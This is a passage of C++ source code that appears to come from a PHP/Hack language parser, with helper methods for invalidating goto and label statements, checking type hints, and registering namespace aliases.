void Parser::invalidateGoto(TStatementPtr stmt, GotoError error) { GotoStatement *gs = (GotoStatement*) stmt; assert(gs); gs->invalidate(error); } void Parser::invalidateLabel(TStatementPtr stmt) { LabelStatement *ls = (LabelStatement*) stmt; assert(ls); ls->invalidate(); } TStatementPtr Parser::extractStatement(ScannerToken *stmt) { Token *t = (Token*) stmt; return t->stmt.get(); } /////////////////////////////////////////////////////////////////////////////// bool Parser::hasType(Token &type) { if (!type.text().empty()) { if (!m_scanner.isHHSyntaxEnabled()) { PARSE_ERROR("Type hint is not enabled"); return false; } return true; } return false; } void Parser::registerAlias(std::string name) { size_t pos = name.rfind(NAMESPACE_SEP); if (pos != string::npos) { string key = name.substr(pos + 1); m_aliases[key] = name; } } /////////////////////////////////////////////////////////////////////////////// }}